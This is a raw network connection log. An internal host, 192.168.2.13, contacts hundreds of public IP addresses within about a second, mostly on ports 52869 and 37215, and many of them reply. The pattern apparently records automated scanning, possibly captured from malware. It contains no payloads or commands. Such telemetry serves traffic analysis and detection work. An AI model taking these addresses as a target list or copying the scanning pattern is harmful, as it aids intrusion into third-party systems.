Jul 20, 2024 23:05:43.655112028 CEST	43695	52869	192.168.2.13	44.221.205.26
Jul 20, 2024 23:05:43.655112028 CEST	43695	52869	192.168.2.13	89.54.214.2
Jul 20, 2024 23:05:43.655112028 CEST	43695	52869	192.168.2.13	85.19.96.63
Jul 20, 2024 23:05:43.655112028 CEST	43695	52869	192.168.2.13	17.133.223.62
Jul 20, 2024 23:05:43.655112028 CEST	43695	52869	192.168.2.13	5.30.21.150
Jul 20, 2024 23:05:43.656521082 CEST	43695	52869	192.168.2.13	116.152.21.19
Jul 20, 2024 23:05:43.656521082 CEST	43695	52869	192.168.2.13	218.85.189.134
Jul 20, 2024 23:05:43.656521082 CEST	43695	52869	192.168.2.13	24.35.223.32
Jul 20, 2024 23:05:43.656521082 CEST	43695	52869	192.168.2.13	202.24.112.193
Jul 20, 2024 23:05:43.656521082 CEST	43695	52869	192.168.2.13	133.11.131.85
Jul 20, 2024 23:05:43.656521082 CEST	33900	80	192.168.2.13	95.89.249.69
Jul 20, 2024 23:05:43.657356977 CEST	56426	80	192.168.2.13	95.227.200.110
Jul 20, 2024 23:05:43.658198118 CEST	43695	52869	192.168.2.13	191.253.53.138
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	202.185.27.125
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	63.206.227.29
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	116.232.204.154
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	118.170.203.33
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	61.67.152.201
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	73.47.62.241
Jul 20, 2024 23:05:43.658199072 CEST	43695	52869	192.168.2.13	79.216.79.117
Jul 20, 2024 23:05:43.659770966 CEST	43695	52869	192.168.2.13	60.100.220.212
Jul 20, 2024 23:05:43.659770966 CEST	43695	52869	192.168.2.13	213.60.193.62
Jul 20, 2024 23:05:43.659770966 CEST	43695	52869	192.168.2.13	108.46.86.209
Jul 20, 2024 23:05:43.659770966 CEST	43695	52869	192.168.2.13	165.58.160.170
Jul 20, 2024 23:05:43.659770966 CEST	43695	52869	192.168.2.13	154.250.137.3
Jul 20, 2024 23:05:43.660489082 CEST	44719	37215	192.168.2.13	157.149.252.54
Jul 20, 2024 23:05:43.660489082 CEST	43695	52869	192.168.2.13	208.163.164.82
Jul 20, 2024 23:05:43.660489082 CEST	43695	52869	192.168.2.13	164.51.132.82
Jul 20, 2024 23:05:43.662616014 CEST	59526	80	192.168.2.13	95.169.160.58
Jul 20, 2024 23:05:43.662616014 CEST	43414	80	192.168.2.13	95.101.78.125
Jul 20, 2024 23:05:43.663758993 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:43.663758993 CEST	47198	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:43.666479111 CEST	37466	8081	192.168.2.13	216.77.147.81
Jul 20, 2024 23:05:43.666479111 CEST	54494	8081	192.168.2.13	117.162.6.62
Jul 20, 2024 23:05:43.669718981 CEST	34822	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:43.669718981 CEST	33508	8081	192.168.2.13	51.212.187.178
Jul 20, 2024 23:05:43.669718981 CEST	48736	8081	192.168.2.13	86.28.105.133
Jul 20, 2024 23:05:43.669905901 CEST	46862	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:43.669905901 CEST	57882	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:43.670773983 CEST	52869	43695	20.233.99.215	192.168.2.13
Jul 20, 2024 23:05:43.670778036 CEST	52869	43695	196.21.230.80	192.168.2.13
Jul 20, 2024 23:05:43.670783043 CEST	52869	43695	165.58.160.170	192.168.2.13
Jul 20, 2024 23:05:43.670784950 CEST	52869	43695	213.165.138.87	192.168.2.13
Jul 20, 2024 23:05:43.670785904 CEST	37215	44719	197.67.118.172	192.168.2.13
Jul 20, 2024 23:05:43.670789003 CEST	37215	44719	41.10.13.80	192.168.2.13
Jul 20, 2024 23:05:43.670790911 CEST	52869	43695	71.96.26.135	192.168.2.13
Jul 20, 2024 23:05:43.670792103 CEST	52869	43695	203.180.49.188	192.168.2.13
Jul 20, 2024 23:05:43.670793056 CEST	52869	43695	32.127.37.55	192.168.2.13
Jul 20, 2024 23:05:43.670794010 CEST	37215	44719	160.109.118.62	192.168.2.13
Jul 20, 2024 23:05:43.670794964 CEST	37215	44719	136.169.19.138	192.168.2.13
Jul 20, 2024 23:05:43.670795918 CEST	52869	43695	13.188.178.25	192.168.2.13
Jul 20, 2024 23:05:43.670800924 CEST	52869	43695	192.17.55.142	192.168.2.13
Jul 20, 2024 23:05:43.670803070 CEST	52869	43695	140.65.230.187	192.168.2.13
Jul 20, 2024 23:05:43.670804024 CEST	52869	43695	97.19.195.199	192.168.2.13
Jul 20, 2024 23:05:43.670809031 CEST	52869	43695	130.137.75.178	192.168.2.13
Jul 20, 2024 23:05:43.670809984 CEST	52869	43695	59.43.162.247	192.168.2.13
Jul 20, 2024 23:05:43.670814991 CEST	37215	44719	153.146.10.66	192.168.2.13
Jul 20, 2024 23:05:43.670815945 CEST	52869	43695	137.61.175.250	192.168.2.13
Jul 20, 2024 23:05:43.670819998 CEST	52869	43695	42.245.31.185	192.168.2.13
Jul 20, 2024 23:05:43.670820951 CEST	52869	43695	209.20.9.196	192.168.2.13
Jul 20, 2024 23:05:43.670824051 CEST	52869	43695	149.65.136.119	192.168.2.13
Jul 20, 2024 23:05:43.670825005 CEST	52869	43695	104.251.109.194	192.168.2.13
Jul 20, 2024 23:05:43.670830011 CEST	52869	43695	24.215.34.153	192.168.2.13
Jul 20, 2024 23:05:43.670830965 CEST	52869	43695	120.36.54.4	192.168.2.13
Jul 20, 2024 23:05:43.670831919 CEST	52869	43695	181.201.11.99	192.168.2.13
Jul 20, 2024 23:05:43.670833111 CEST	52869	43695	34.213.162.194	192.168.2.13
Jul 20, 2024 23:05:43.670834064 CEST	52869	43695	1.167.89.80	192.168.2.13
Jul 20, 2024 23:05:43.670838118 CEST	52869	43695	89.205.161.221	192.168.2.13
Jul 20, 2024 23:05:43.670840025 CEST	52869	43695	95.80.160.35	192.168.2.13
Jul 20, 2024 23:05:43.670840979 CEST	52869	43695	205.154.168.138	192.168.2.13
Jul 20, 2024 23:05:43.670841932 CEST	52869	43695	41.36.32.108	192.168.2.13
Jul 20, 2024 23:05:43.670842886 CEST	52869	43695	146.129.117.141	192.168.2.13
Jul 20, 2024 23:05:43.670844078 CEST	37215	44719	14.66.120.173	192.168.2.13
Jul 20, 2024 23:05:43.670845985 CEST	37215	44719	157.123.122.208	192.168.2.13
Jul 20, 2024 23:05:43.670847893 CEST	52869	43695	125.44.120.50	192.168.2.13
Jul 20, 2024 23:05:43.670854092 CEST	52869	43695	145.63.238.135	192.168.2.13
Jul 20, 2024 23:05:43.670855045 CEST	52869	43695	20.133.31.212	192.168.2.13
Jul 20, 2024 23:05:43.670861959 CEST	44719	37215	192.168.2.13	136.169.19.138
Jul 20, 2024 23:05:43.670861959 CEST	44719	37215	192.168.2.13	41.10.13.80
Jul 20, 2024 23:05:43.670862913 CEST	43695	52869	192.168.2.13	20.233.99.215
Jul 20, 2024 23:05:43.670862913 CEST	43695	52869	192.168.2.13	192.17.55.142
Jul 20, 2024 23:05:43.670862913 CEST	43695	52869	192.168.2.13	97.19.195.199
Jul 20, 2024 23:05:43.670867920 CEST	52869	43695	91.46.193.211	192.168.2.13
Jul 20, 2024 23:05:43.670871973 CEST	37215	44719	197.106.191.68	192.168.2.13
Jul 20, 2024 23:05:43.670872927 CEST	43695	52869	192.168.2.13	71.96.26.135
Jul 20, 2024 23:05:43.670874119 CEST	43695	52869	192.168.2.13	42.245.31.185
Jul 20, 2024 23:05:43.670874119 CEST	43695	52869	192.168.2.13	181.201.11.99
Jul 20, 2024 23:05:43.670875072 CEST	52869	43695	47.30.224.29	192.168.2.13
Jul 20, 2024 23:05:43.670876026 CEST	37215	44719	157.26.33.239	192.168.2.13
Jul 20, 2024 23:05:43.670880079 CEST	52869	43695	65.20.186.148	192.168.2.13
Jul 20, 2024 23:05:43.670881987 CEST	52869	43695	119.245.14.75	192.168.2.13
Jul 20, 2024 23:05:43.670886993 CEST	52869	43695	110.31.102.122	192.168.2.13
Jul 20, 2024 23:05:43.670891047 CEST	52869	43695	124.68.57.158	192.168.2.13
Jul 20, 2024 23:05:43.670892000 CEST	52869	43695	205.103.105.240	192.168.2.13
Jul 20, 2024 23:05:43.670896053 CEST	52869	43695	201.4.161.250	192.168.2.13
Jul 20, 2024 23:05:43.670897007 CEST	52869	43695	201.68.125.145	192.168.2.13
Jul 20, 2024 23:05:43.670898914 CEST	52869	43695	91.59.222.247	192.168.2.13
Jul 20, 2024 23:05:43.670900106 CEST	52869	43695	206.219.47.99	192.168.2.13
Jul 20, 2024 23:05:43.670902967 CEST	52869	43695	183.138.21.245	192.168.2.13
Jul 20, 2024 23:05:43.670903921 CEST	52869	43695	49.77.184.155	192.168.2.13
Jul 20, 2024 23:05:43.670905113 CEST	52869	43695	57.215.71.164	192.168.2.13
Jul 20, 2024 23:05:43.670906067 CEST	52869	43695	222.227.236.170	192.168.2.13
Jul 20, 2024 23:05:43.670911074 CEST	52869	43695	154.250.137.3	192.168.2.13
Jul 20, 2024 23:05:43.670912027 CEST	52869	43695	202.149.230.31	192.168.2.13
Jul 20, 2024 23:05:43.670912981 CEST	52869	43695	108.78.181.184	192.168.2.13
Jul 20, 2024 23:05:43.670922041 CEST	52869	43695	47.102.47.49	192.168.2.13
Jul 20, 2024 23:05:43.670922995 CEST	52869	43695	139.211.187.244	192.168.2.13
Jul 20, 2024 23:05:43.670927048 CEST	52869	43695	42.165.180.164	192.168.2.13
Jul 20, 2024 23:05:43.670928955 CEST	52869	43695	193.70.89.152	192.168.2.13
Jul 20, 2024 23:05:43.670929909 CEST	52869	43695	116.232.204.154	192.168.2.13
Jul 20, 2024 23:05:43.670933008 CEST	52869	43695	59.92.175.172	192.168.2.13
Jul 20, 2024 23:05:43.670938969 CEST	37215	44719	24.161.39.183	192.168.2.13
Jul 20, 2024 23:05:43.670939922 CEST	52869	43695	89.174.78.249	192.168.2.13
Jul 20, 2024 23:05:43.670945883 CEST	52869	43695	8.108.126.3	192.168.2.13
Jul 20, 2024 23:05:43.670945883 CEST	37215	44719	84.100.167.241	192.168.2.13
Jul 20, 2024 23:05:43.670952082 CEST	52869	43695	46.76.248.19	192.168.2.13
Jul 20, 2024 23:05:43.670957088 CEST	52869	43695	78.157.236.133	192.168.2.13
Jul 20, 2024 23:05:43.670959949 CEST	52869	43695	100.141.61.208	192.168.2.13
Jul 20, 2024 23:05:43.670962095 CEST	52869	43695	154.126.197.184	192.168.2.13
Jul 20, 2024 23:05:43.670964956 CEST	52869	43695	63.215.134.180	192.168.2.13
Jul 20, 2024 23:05:43.670965910 CEST	37215	44719	41.86.158.118	192.168.2.13
Jul 20, 2024 23:05:43.670968056 CEST	52869	43695	69.198.80.181	192.168.2.13
Jul 20, 2024 23:05:43.670968056 CEST	37215	44719	197.222.47.254	192.168.2.13
Jul 20, 2024 23:05:43.670972109 CEST	52869	43695	156.201.132.229	192.168.2.13
Jul 20, 2024 23:05:43.670974016 CEST	52869	43695	134.106.205.39	192.168.2.13
Jul 20, 2024 23:05:43.670978069 CEST	52869	43695	134.120.250.125	192.168.2.13
Jul 20, 2024 23:05:43.670979023 CEST	52869	43695	141.9.106.115	192.168.2.13
Jul 20, 2024 23:05:43.670983076 CEST	52869	43695	217.18.122.132	192.168.2.13
Jul 20, 2024 23:05:43.670984983 CEST	80	37768	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:43.670988083 CEST	52869	43695	138.76.30.31	192.168.2.13
Jul 20, 2024 23:05:43.670989037 CEST	52869	43695	222.30.128.87	192.168.2.13
Jul 20, 2024 23:05:43.670991898 CEST	52869	43695	86.249.32.59	192.168.2.13
Jul 20, 2024 23:05:43.670993090 CEST	52869	43695	203.148.197.50	192.168.2.13
Jul 20, 2024 23:05:43.670994043 CEST	37215	44719	197.217.152.109	192.168.2.13
Jul 20, 2024 23:05:43.670996904 CEST	52869	43695	129.185.18.97	192.168.2.13
Jul 20, 2024 23:05:43.670999050 CEST	52869	43695	121.26.195.128	192.168.2.13
Jul 20, 2024 23:05:43.671000004 CEST	52869	43695	178.177.232.215	192.168.2.13
Jul 20, 2024 23:05:43.671004057 CEST	37215	44719	41.150.127.214	192.168.2.13
Jul 20, 2024 23:05:43.671005011 CEST	37215	44719	41.11.252.131	192.168.2.13
Jul 20, 2024 23:05:43.671009064 CEST	52869	43695	46.234.96.133	192.168.2.13
Jul 20, 2024 23:05:43.671010017 CEST	52869	43695	130.134.16.42	192.168.2.13
Jul 20, 2024 23:05:43.671013117 CEST	52869	43695	181.42.23.104	192.168.2.13
Jul 20, 2024 23:05:43.671015024 CEST	52869	43695	50.131.229.144	192.168.2.13
Jul 20, 2024 23:05:43.671015978 CEST	52869	43695	98.244.33.5	192.168.2.13
Jul 20, 2024 23:05:43.671016932 CEST	52869	43695	9.71.171.156	192.168.2.13
Jul 20, 2024 23:05:43.671020985 CEST	37215	44719	197.36.40.211	192.168.2.13
Jul 20, 2024 23:05:43.671021938 CEST	52869	43695	118.235.82.245	192.168.2.13
Jul 20, 2024 23:05:43.671025991 CEST	52869	43695	205.3.70.172	192.168.2.13
Jul 20, 2024 23:05:43.671026945 CEST	52869	43695	18.86.174.31	192.168.2.13
Jul 20, 2024 23:05:43.671027899 CEST	52869	43695	63.206.227.29	192.168.2.13
Jul 20, 2024 23:05:43.671029091 CEST	52869	43695	154.60.223.37	192.168.2.13
Jul 20, 2024 23:05:43.671032906 CEST	52869	43695	196.103.208.224	192.168.2.13
Jul 20, 2024 23:05:43.671034098 CEST	52869	43695	160.177.186.30	192.168.2.13
Jul 20, 2024 23:05:43.671036959 CEST	52869	43695	99.109.78.80	192.168.2.13
Jul 20, 2024 23:05:43.671037912 CEST	52869	43695	95.117.196.93	192.168.2.13
Jul 20, 2024 23:05:43.671039104 CEST	52869	43695	40.89.68.159	192.168.2.13
Jul 20, 2024 23:05:43.671041012 CEST	52869	43695	98.70.129.196	192.168.2.13
Jul 20, 2024 23:05:43.671041965 CEST	52869	43695	77.111.14.17	192.168.2.13
Jul 20, 2024 23:05:43.671042919 CEST	52869	43695	95.119.40.204	192.168.2.13
Jul 20, 2024 23:05:43.671044111 CEST	52869	43695	85.19.96.63	192.168.2.13
Jul 20, 2024 23:05:43.671045065 CEST	52869	43695	123.49.138.184	192.168.2.13
Jul 20, 2024 23:05:43.671072960 CEST	52869	43695	170.62.129.42	192.168.2.13
Jul 20, 2024 23:05:43.671075106 CEST	52869	43695	115.27.170.112	192.168.2.13
Jul 20, 2024 23:05:43.671078920 CEST	52869	43695	176.93.47.7	192.168.2.13
Jul 20, 2024 23:05:43.671080112 CEST	52869	43695	36.120.169.206	192.168.2.13
Jul 20, 2024 23:05:43.671081066 CEST	52869	43695	5.48.114.100	192.168.2.13
Jul 20, 2024 23:05:43.671084881 CEST	52869	43695	76.238.160.42	192.168.2.13
Jul 20, 2024 23:05:43.671086073 CEST	52869	43695	108.250.73.167	192.168.2.13
Jul 20, 2024 23:05:43.671087980 CEST	52869	43695	133.128.193.150	192.168.2.13
Jul 20, 2024 23:05:43.671091080 CEST	52869	43695	107.140.70.197	192.168.2.13
Jul 20, 2024 23:05:43.671092987 CEST	52869	43695	180.214.78.69	192.168.2.13
Jul 20, 2024 23:05:43.671094894 CEST	37215	44719	157.189.157.40	192.168.2.13
Jul 20, 2024 23:05:43.671096087 CEST	52869	43695	61.32.175.248	192.168.2.13
Jul 20, 2024 23:05:43.671097040 CEST	52869	43695	61.183.255.120	192.168.2.13
Jul 20, 2024 23:05:43.671097040 CEST	52869	43695	118.170.203.33	192.168.2.13
Jul 20, 2024 23:05:43.671097994 CEST	37215	44719	31.204.22.235	192.168.2.13
Jul 20, 2024 23:05:43.671102047 CEST	52869	43695	137.217.59.192	192.168.2.13
Jul 20, 2024 23:05:43.671103001 CEST	52869	43695	60.236.134.69	192.168.2.13
Jul 20, 2024 23:05:43.671107054 CEST	52869	43695	90.189.200.28	192.168.2.13
Jul 20, 2024 23:05:43.671108007 CEST	52869	43695	13.188.240.48	192.168.2.13
Jul 20, 2024 23:05:43.671113014 CEST	52869	43695	113.75.5.186	192.168.2.13
Jul 20, 2024 23:05:43.671117067 CEST	52869	43695	110.164.97.159	192.168.2.13
Jul 20, 2024 23:05:43.671118021 CEST	52869	43695	216.187.116.111	192.168.2.13
Jul 20, 2024 23:05:43.671118975 CEST	52869	43695	219.94.210.22	192.168.2.13
Jul 20, 2024 23:05:43.671122074 CEST	52869	43695	25.80.17.95	192.168.2.13
Jul 20, 2024 23:05:43.671123981 CEST	52869	43695	31.102.65.124	192.168.2.13
Jul 20, 2024 23:05:43.671123981 CEST	52869	43695	92.63.48.74	192.168.2.13
Jul 20, 2024 23:05:43.671128988 CEST	52869	43695	154.102.138.104	192.168.2.13
Jul 20, 2024 23:05:43.671129942 CEST	52869	43695	136.230.73.186	192.168.2.13
Jul 20, 2024 23:05:43.671133041 CEST	37215	44719	171.125.127.98	192.168.2.13
Jul 20, 2024 23:05:43.671134949 CEST	52869	43695	49.130.24.47	192.168.2.13
Jul 20, 2024 23:05:43.671138048 CEST	52869	43695	50.153.17.84	192.168.2.13
Jul 20, 2024 23:05:43.671139956 CEST	52869	43695	150.120.30.229	192.168.2.13
Jul 20, 2024 23:05:43.671144009 CEST	52869	43695	186.48.2.180	192.168.2.13
Jul 20, 2024 23:05:43.671145916 CEST	52869	43695	175.172.87.12	192.168.2.13
Jul 20, 2024 23:05:43.671149969 CEST	52869	43695	49.130.207.108	192.168.2.13
Jul 20, 2024 23:05:43.671150923 CEST	52869	43695	82.111.222.106	192.168.2.13
Jul 20, 2024 23:05:43.671156883 CEST	52869	43695	20.47.228.180	192.168.2.13
Jul 20, 2024 23:05:43.671161890 CEST	37215	44719	41.166.40.211	192.168.2.13
Jul 20, 2024 23:05:43.671163082 CEST	52869	43695	212.163.69.151	192.168.2.13
Jul 20, 2024 23:05:43.671165943 CEST	52869	43695	111.98.4.234	192.168.2.13
Jul 20, 2024 23:05:43.671166897 CEST	52869	43695	60.118.121.236	192.168.2.13
Jul 20, 2024 23:05:43.671170950 CEST	52869	43695	24.239.206.244	192.168.2.13
Jul 20, 2024 23:05:43.671171904 CEST	52869	43695	17.182.100.77	192.168.2.13
Jul 20, 2024 23:05:43.671178102 CEST	52869	43695	136.126.44.127	192.168.2.13
Jul 20, 2024 23:05:43.671179056 CEST	52869	43695	117.53.15.197	192.168.2.13
Jul 20, 2024 23:05:43.671180010 CEST	52869	43695	144.147.149.140	192.168.2.13
Jul 20, 2024 23:05:43.671180964 CEST	52869	43695	216.253.12.238	192.168.2.13
Jul 20, 2024 23:05:43.671185017 CEST	52869	43695	212.70.199.46	192.168.2.13
Jul 20, 2024 23:05:43.671186924 CEST	52869	43695	12.223.167.72	192.168.2.13
Jul 20, 2024 23:05:43.671188116 CEST	52869	43695	108.102.204.163	192.168.2.13
Jul 20, 2024 23:05:43.671189070 CEST	52869	43695	177.249.47.176	192.168.2.13
Jul 20, 2024 23:05:43.671190023 CEST	52869	43695	77.107.134.16	192.168.2.13
Jul 20, 2024 23:05:43.671190977 CEST	52869	43695	96.236.42.81	192.168.2.13
Jul 20, 2024 23:05:43.671191931 CEST	52869	43695	117.254.249.114	192.168.2.13
Jul 20, 2024 23:05:43.671192884 CEST	52869	43695	18.222.183.209	192.168.2.13
Jul 20, 2024 23:05:43.671194077 CEST	52869	43695	217.97.69.222	192.168.2.13
Jul 20, 2024 23:05:43.671195030 CEST	52869	43695	17.133.223.62	192.168.2.13
Jul 20, 2024 23:05:43.671195984 CEST	37215	44719	197.44.38.158	192.168.2.13
Jul 20, 2024 23:05:43.671196938 CEST	37215	44719	157.81.22.6	192.168.2.13
Jul 20, 2024 23:05:43.671197891 CEST	37215	44719	141.47.219.111	192.168.2.13
Jul 20, 2024 23:05:43.671205044 CEST	52869	43695	158.236.84.25	192.168.2.13
Jul 20, 2024 23:05:43.671205997 CEST	52869	43695	115.23.132.185	192.168.2.13
Jul 20, 2024 23:05:43.671206951 CEST	52869	43695	80.253.202.77	192.168.2.13
Jul 20, 2024 23:05:43.671207905 CEST	52869	43695	210.24.219.144	192.168.2.13
Jul 20, 2024 23:05:43.671209097 CEST	52869	43695	151.177.65.0	192.168.2.13
Jul 20, 2024 23:05:43.671210051 CEST	52869	43695	121.180.27.242	192.168.2.13
Jul 20, 2024 23:05:43.671212912 CEST	52869	43695	180.19.48.166	192.168.2.13
Jul 20, 2024 23:05:43.671219110 CEST	52869	43695	179.75.232.250	192.168.2.13
Jul 20, 2024 23:05:43.671220064 CEST	52869	43695	58.93.0.79	192.168.2.13
Jul 20, 2024 23:05:43.671221972 CEST	52869	43695	165.176.62.46	192.168.2.13
Jul 20, 2024 23:05:43.671222925 CEST	52869	43695	179.95.149.154	192.168.2.13
Jul 20, 2024 23:05:43.671224117 CEST	52869	43695	194.19.142.0	192.168.2.13
Jul 20, 2024 23:05:43.671225071 CEST	37215	44719	157.91.141.194	192.168.2.13
Jul 20, 2024 23:05:43.671226025 CEST	52869	43695	60.117.27.138	192.168.2.13
Jul 20, 2024 23:05:43.671227932 CEST	52869	43695	49.124.37.37	192.168.2.13
Jul 20, 2024 23:05:43.671228886 CEST	52869	43695	182.241.73.109	192.168.2.13
Jul 20, 2024 23:05:43.671230078 CEST	52869	43695	178.49.213.31	192.168.2.13
Jul 20, 2024 23:05:43.671230078 CEST	52869	43695	211.241.97.241	192.168.2.13
Jul 20, 2024 23:05:43.671231985 CEST	52869	43695	71.77.85.34	192.168.2.13
Jul 20, 2024 23:05:43.671231985 CEST	52869	43695	145.122.108.42	192.168.2.13
Jul 20, 2024 23:05:43.671232939 CEST	52869	43695	198.69.74.41	192.168.2.13
Jul 20, 2024 23:05:43.671232939 CEST	52869	43695	213.110.77.193	192.168.2.13
Jul 20, 2024 23:05:43.671235085 CEST	52869	43695	18.253.100.22	192.168.2.13
Jul 20, 2024 23:05:43.671236992 CEST	52869	43695	197.49.208.216	192.168.2.13
Jul 20, 2024 23:05:43.671237946 CEST	52869	43695	142.169.112.232	192.168.2.13
Jul 20, 2024 23:05:43.671238899 CEST	37215	44719	77.58.210.2	192.168.2.13
Jul 20, 2024 23:05:43.671240091 CEST	52869	43695	54.247.39.62	192.168.2.13
Jul 20, 2024 23:05:43.671241045 CEST	52869	43695	109.52.219.98	192.168.2.13
Jul 20, 2024 23:05:43.671245098 CEST	52869	43695	125.151.119.214	192.168.2.13
Jul 20, 2024 23:05:43.671247005 CEST	52869	43695	122.91.173.51	192.168.2.13
Jul 20, 2024 23:05:43.671247959 CEST	8081	53164	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.671252966 CEST	52869	43695	190.86.77.164	192.168.2.13
Jul 20, 2024 23:05:43.671255112 CEST	52869	43695	36.134.134.49	192.168.2.13
Jul 20, 2024 23:05:43.671256065 CEST	37215	44719	173.144.54.77	192.168.2.13
Jul 20, 2024 23:05:43.671257973 CEST	52869	43695	157.17.172.136	192.168.2.13
Jul 20, 2024 23:05:43.671261072 CEST	37215	44719	149.109.190.211	192.168.2.13
Jul 20, 2024 23:05:43.671262980 CEST	52869	43695	51.93.60.190	192.168.2.13
Jul 20, 2024 23:05:43.671266079 CEST	52869	43695	184.50.231.75	192.168.2.13
Jul 20, 2024 23:05:43.671267986 CEST	52869	43695	203.12.34.170	192.168.2.13
Jul 20, 2024 23:05:43.671268940 CEST	52869	43695	165.114.181.26	192.168.2.13
Jul 20, 2024 23:05:43.671272039 CEST	52869	43695	23.96.155.238	192.168.2.13
Jul 20, 2024 23:05:43.671272993 CEST	52869	43695	200.110.135.217	192.168.2.13
Jul 20, 2024 23:05:43.671277046 CEST	52869	43695	65.107.44.218	192.168.2.13
Jul 20, 2024 23:05:43.671278000 CEST	52869	43695	53.182.88.227	192.168.2.13
Jul 20, 2024 23:05:43.671281099 CEST	37215	44719	197.48.50.149	192.168.2.13
Jul 20, 2024 23:05:43.671283960 CEST	52869	43695	151.161.20.113	192.168.2.13
Jul 20, 2024 23:05:43.671286106 CEST	37215	44719	41.25.165.74	192.168.2.13
Jul 20, 2024 23:05:43.671288967 CEST	52869	43695	212.42.57.229	192.168.2.13
Jul 20, 2024 23:05:43.671291113 CEST	52869	43695	86.217.3.16	192.168.2.13
Jul 20, 2024 23:05:43.671292067 CEST	37215	44719	137.46.76.3	192.168.2.13
Jul 20, 2024 23:05:43.671293020 CEST	37215	44719	41.20.254.53	192.168.2.13
Jul 20, 2024 23:05:43.671295881 CEST	37215	44719	157.176.150.249	192.168.2.13
Jul 20, 2024 23:05:43.671297073 CEST	52869	43695	162.111.188.151	192.168.2.13
Jul 20, 2024 23:05:43.671298027 CEST	52869	43695	200.122.134.135	192.168.2.13
Jul 20, 2024 23:05:43.671298981 CEST	37215	44719	157.215.204.49	192.168.2.13
Jul 20, 2024 23:05:43.671309948 CEST	52869	43695	105.6.125.177	192.168.2.13
Jul 20, 2024 23:05:43.671310902 CEST	37215	44719	41.202.234.61	192.168.2.13
Jul 20, 2024 23:05:43.671312094 CEST	52869	43695	190.75.119.63	192.168.2.13
Jul 20, 2024 23:05:43.671313047 CEST	52869	43695	86.19.94.75	192.168.2.13
Jul 20, 2024 23:05:43.671314001 CEST	37215	44719	197.152.241.56	192.168.2.13
Jul 20, 2024 23:05:43.671314955 CEST	37215	44719	194.108.124.249	192.168.2.13
Jul 20, 2024 23:05:43.671319008 CEST	52869	43695	91.184.137.94	192.168.2.13
Jul 20, 2024 23:05:43.671319962 CEST	52869	43695	168.97.161.74	192.168.2.13
Jul 20, 2024 23:05:43.671320915 CEST	52869	43695	175.16.206.250	192.168.2.13
Jul 20, 2024 23:05:43.671324968 CEST	52869	43695	187.229.25.167	192.168.2.13
Jul 20, 2024 23:05:43.671327114 CEST	52869	43695	199.1.150.84	192.168.2.13
Jul 20, 2024 23:05:43.671328068 CEST	37215	44719	157.9.201.54	192.168.2.13
Jul 20, 2024 23:05:43.671329975 CEST	52869	43695	97.46.68.80	192.168.2.13
Jul 20, 2024 23:05:43.671330929 CEST	37215	44719	41.193.50.72	192.168.2.13
Jul 20, 2024 23:05:43.671334028 CEST	52869	43695	185.230.89.147	192.168.2.13
Jul 20, 2024 23:05:43.671335936 CEST	52869	43695	41.87.237.59	192.168.2.13
Jul 20, 2024 23:05:43.671340942 CEST	52869	43695	170.150.160.238	192.168.2.13
Jul 20, 2024 23:05:43.671341896 CEST	52869	43695	46.16.170.236	192.168.2.13
Jul 20, 2024 23:05:43.671349049 CEST	52869	43695	93.131.83.172	192.168.2.13
Jul 20, 2024 23:05:43.671349049 CEST	52869	43695	91.175.76.251	192.168.2.13
Jul 20, 2024 23:05:43.671354055 CEST	52869	43695	206.116.184.171	192.168.2.13
Jul 20, 2024 23:05:43.671355009 CEST	37215	44719	54.183.170.155	192.168.2.13
Jul 20, 2024 23:05:43.671355963 CEST	52869	43695	167.228.36.177	192.168.2.13
Jul 20, 2024 23:05:43.671356916 CEST	52869	43695	45.183.149.181	192.168.2.13
Jul 20, 2024 23:05:43.671356916 CEST	52869	43695	13.30.239.153	192.168.2.13
Jul 20, 2024 23:05:43.671358109 CEST	52869	43695	119.109.168.56	192.168.2.13
Jul 20, 2024 23:05:43.671361923 CEST	52869	43695	151.233.50.146	192.168.2.13
Jul 20, 2024 23:05:43.671365976 CEST	52869	43695	177.165.244.181	192.168.2.13
Jul 20, 2024 23:05:43.671366930 CEST	37215	44719	103.254.213.37	192.168.2.13
Jul 20, 2024 23:05:43.671367884 CEST	52869	43695	105.156.255.78	192.168.2.13
Jul 20, 2024 23:05:43.671370983 CEST	52869	43695	80.194.79.151	192.168.2.13
Jul 20, 2024 23:05:43.671371937 CEST	52869	43695	27.22.131.53	192.168.2.13
Jul 20, 2024 23:05:43.671374083 CEST	52869	43695	130.212.113.212	192.168.2.13
Jul 20, 2024 23:05:43.671377897 CEST	52869	43695	51.219.172.178	192.168.2.13
Jul 20, 2024 23:05:43.671379089 CEST	37215	44719	157.60.86.134	192.168.2.13
Jul 20, 2024 23:05:43.671380043 CEST	52869	43695	67.126.29.182	192.168.2.13
Jul 20, 2024 23:05:43.671385050 CEST	52869	43695	96.177.170.235	192.168.2.13
Jul 20, 2024 23:05:43.671389103 CEST	52869	43695	57.173.31.25	192.168.2.13
Jul 20, 2024 23:05:43.671390057 CEST	52869	43695	88.39.99.226	192.168.2.13
Jul 20, 2024 23:05:43.671391010 CEST	52869	43695	50.79.81.230	192.168.2.13
Jul 20, 2024 23:05:43.671391010 CEST	52869	43695	117.188.79.138	192.168.2.13
Jul 20, 2024 23:05:43.671392918 CEST	37215	44719	157.254.59.85	192.168.2.13
Jul 20, 2024 23:05:43.671394110 CEST	52869	43695	202.162.146.240	192.168.2.13
Jul 20, 2024 23:05:43.671396017 CEST	52869	43695	193.88.243.103	192.168.2.13
Jul 20, 2024 23:05:43.671396971 CEST	52869	43695	141.1.17.252	192.168.2.13
Jul 20, 2024 23:05:43.671396971 CEST	52869	43695	50.58.69.238	192.168.2.13
Jul 20, 2024 23:05:43.671397924 CEST	52869	43695	93.119.225.205	192.168.2.13
Jul 20, 2024 23:05:43.671399117 CEST	52869	43695	46.210.215.14	192.168.2.13
Jul 20, 2024 23:05:43.671400070 CEST	52869	43695	158.145.6.59	192.168.2.13
Jul 20, 2024 23:05:43.671401024 CEST	52869	43695	65.31.196.172	192.168.2.13
